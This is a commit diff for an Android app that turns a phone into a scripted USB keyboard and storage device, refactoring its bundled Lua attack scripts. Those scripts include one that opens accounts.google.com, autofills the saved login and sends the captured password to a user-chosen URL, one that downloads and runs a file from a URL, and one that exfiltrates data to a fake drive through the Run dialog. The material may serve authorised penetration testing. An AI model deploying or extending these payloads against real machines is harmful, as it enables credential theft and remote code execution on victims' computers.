usb: automatically detect hid minor

build: re-enable proguard
app: improve logging and diagnostics

Author: Netdex

app/build.gradle

@@ -11,7 +11,7 @@ android {
     }
     buildTypes {
         release {
-            minifyEnabled false
+            minifyEnabled true
             proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
         }
     }
@@ -33,14 +33,14 @@ dependencies {
     implementation 'com.google.android.material:material:1.12.0'
 
     implementation 'org.luaj:luaj-jse:3.0.1'
-    implementation 'androidx.appcompat:appcompat:1.6.1'
+    implementation 'androidx.appcompat:appcompat:1.7.0'
 
     implementation "com.github.topjohnwu.libsu:core:5.2.0"
     implementation "com.github.topjohnwu.libsu:service:5.2.0"
     implementation "com.github.topjohnwu.libsu:nio:5.2.0"
     implementation "com.github.topjohnwu.libsu:io:5.2.0"
 
-    implementation(platform("org.jetbrains.kotlin:kotlin-bom:1.8.0")) // ???
+    implementation 'com.jakewharton.timber:timber:5.0.1'
 }
 repositories {
     mavenCentral()

app/proguard-rules.pro

@@ -16,4 +16,7 @@
 #   public *;
 #}
 
-# This is generated automatically by the Android Gradle plugin.
+# This is generated automatically by the Android Gradle plugin.
+
+-dontwarn javax.script.**
+-keepnames class org.luaj.vm2.** {*; }

app/src/main/assets/lib/common.lua

@@ -15,19 +15,18 @@ end
 
 function wait_for_state(state)
     while luausb.state() ~= state do
-        wait(100)
+        wait(1000)
     end
 end
 
 -- make it really obvious when a script is done running
-function done(kb)
+function flash(kb)
     kb:press(KEY_NUMLOCK)
 
     wait(100)
     local lock
     while true do
         local val = kb:read_lock()
-        print(val)
         if val == nil then break end
         lock = val
     end
@@ -37,8 +36,11 @@ function done(kb)
     if lock.caps_lock then kb:press(KEY_CAPSLOCK) end
     if lock.scroll_lock then kb:press(KEY_SCROLLLOCK) end
 
-    while true do
+    local state = luausb.state()
+    while luausb.state() == state do
+        kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
+        wait(50)
         kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
-        wait(500)
+        wait(950)
     end
 end

app/src/main/assets/scripts/chromeacct.lua

@@ -3,7 +3,7 @@
 ---
 require("common")
 
-kb = luausb.create({ id = 0, type = "keyboard" })
+kb = luausb.create({ type = "keyboard" })
 
 -- This URL will be visited with the captured password appended to the end
 local endpoint = prompt{
@@ -16,10 +16,7 @@ while true do
     print("idle")
 
     -- poll until usb plugged in
-    while luausb.state() == "not attached" do
-        wait(1000)
-    end
-
+    wait_for_state("configured")
     wait_for_detect(kb)
     print("running")
 
@@ -30,7 +27,10 @@ while true do
     wait(2000)
 
     -- navigate to login page
-    kb:string("accounts.google.com\n")
+    kb:string("accounts.google.com")
+    -- get rid of any autofill that appears in the omnibar
+    kb:press(KEY_DELETE)
+    kb:press(KEY_ENTER)
     wait(2000)
 
     -- autofill username and continue
@@ -66,10 +66,8 @@ while true do
     wait(1000)
 
     print("done")
-    -- poll until usb unplugged
-    while luausb.state() == "configured" do
-        wait(1000)
-    end
+    wait_for_state("not attached")
+
     print("disconnected")
 end
 

app/src/main/assets/scripts/composite.lua

@@ -5,17 +5,13 @@
 
 require('common')
 
-kb1, kb2 = luausb.create({ type = "keyboard", id = 0 }, { type = "keyboard", id = 1 })
+kb1, kb2 = luausb.create({ type = "keyboard" }, { type = "keyboard" })
 
 while true do
     print("idle")
 
-    -- poll until usb plugged in
-    while luausb.state() == "not attached" do
-        wait(1000)
-    end
-
-    wait_for_detect(kb)
+    wait_for_state("configured")
+    wait_for_detect(kb1)
     print("running")
 
     -- send a string from keyboard 1
@@ -25,11 +21,7 @@ while true do
     kb2:string("kb2")
 
     print("done")
-
-    -- poll until usb unplugged
-    while luausb.state() == "configured" do
-        wait(1000)
-    end
+    wait_for_state("not attached")
 
     print("disconnected")
 

app/src/main/assets/scripts/debug.lua

@@ -1,7 +1,7 @@
 require('common')
 local inspect = require('inspect')
 
-kb = luausb.create({ id = 0, type = "keyboard" })
+kb = luausb.create({ type = "keyboard" })
 
 wait(1000)
 

app/src/main/assets/scripts/downloadrun.lua

@@ -5,7 +5,7 @@
 
 require('common')
 
-kb = luausb.create({ id = 0, type = "keyboard" })
+kb = luausb.create({ type = "keyboard" })
 
 local file = prompt{
     message="Enter the URL for the file to download.",
@@ -20,10 +20,7 @@ while true do
     print("idle")
 
     -- poll until usb plugged in
-    while luausb.state() == "not attached" do
-        wait(1000)
-    end
-
+    wait_for_state("configured")
     wait_for_detect(kb)
     print("running")
 
@@ -58,10 +55,8 @@ while true do
     )
 
     print("done")
-    -- poll until usb unplugged
-    while luausb.state() == "configured" do
-        wait(1000)
-    end
+    wait_for_state("not attached")
+
     print("disconnected")
 end
 

app/src/main/assets/scripts/exfiltrate.lua

@@ -5,18 +5,19 @@
 
 require('common')
 
-kb = luausb.create({ id = 0, type = "keyboard"}, {id = 0, type = "storage" })
+local LABEL = "COMPOSITE"
 
-local LABEL = "COMPOSITE" -- label of the drive (as assigned by you)
+kb = luausb.create({ type = "keyboard"}, { type = "storage", label = LABEL })
 
 while true do
     print("idle")
 
     -- poll until usb plugged in
     wait_for_state('configured')
-
     wait_for_detect(kb)
+
     print("running")
+    wait(2000) -- wait in case explorer pops up
 
     kb:chord(MOD_LSUPER, KEY_R)
     wait(1000)
@@ -26,8 +27,7 @@ while true do
               .. "computername'.txt'\"\n")
 
     print("done")
-    done(kb)
-    wait_for_state('not attached')
+    wait_for_state("not attached")
 
     print("disconnected")
 end

app/src/main/assets/scripts/massstorage.lua

@@ -2,7 +2,7 @@
 --- Simple mass storage device using default options
 ---
 
-_ = luausb.create({ id = 0, type = "storage" })
+_ = luausb.create({ type = "storage" })
 
 while true do
     wait(1000)

app/src/main/assets/scripts/mouse.lua

@@ -1,14 +1,13 @@
 ---
 --- Draw some cool circles using the mouse
 ---
+require('common')
 
-ms1 = luausb.create({ type = "mouse", id = 0 })
+ms1 = luausb.create({ type = "mouse" })
 
 while true do
     -- poll until usb plugged in
-    while luausb.state() == "not attached" do
-        wait(1000)
-    end
+    wait_for_state("configured")
 
     t = 0
     s = 0.05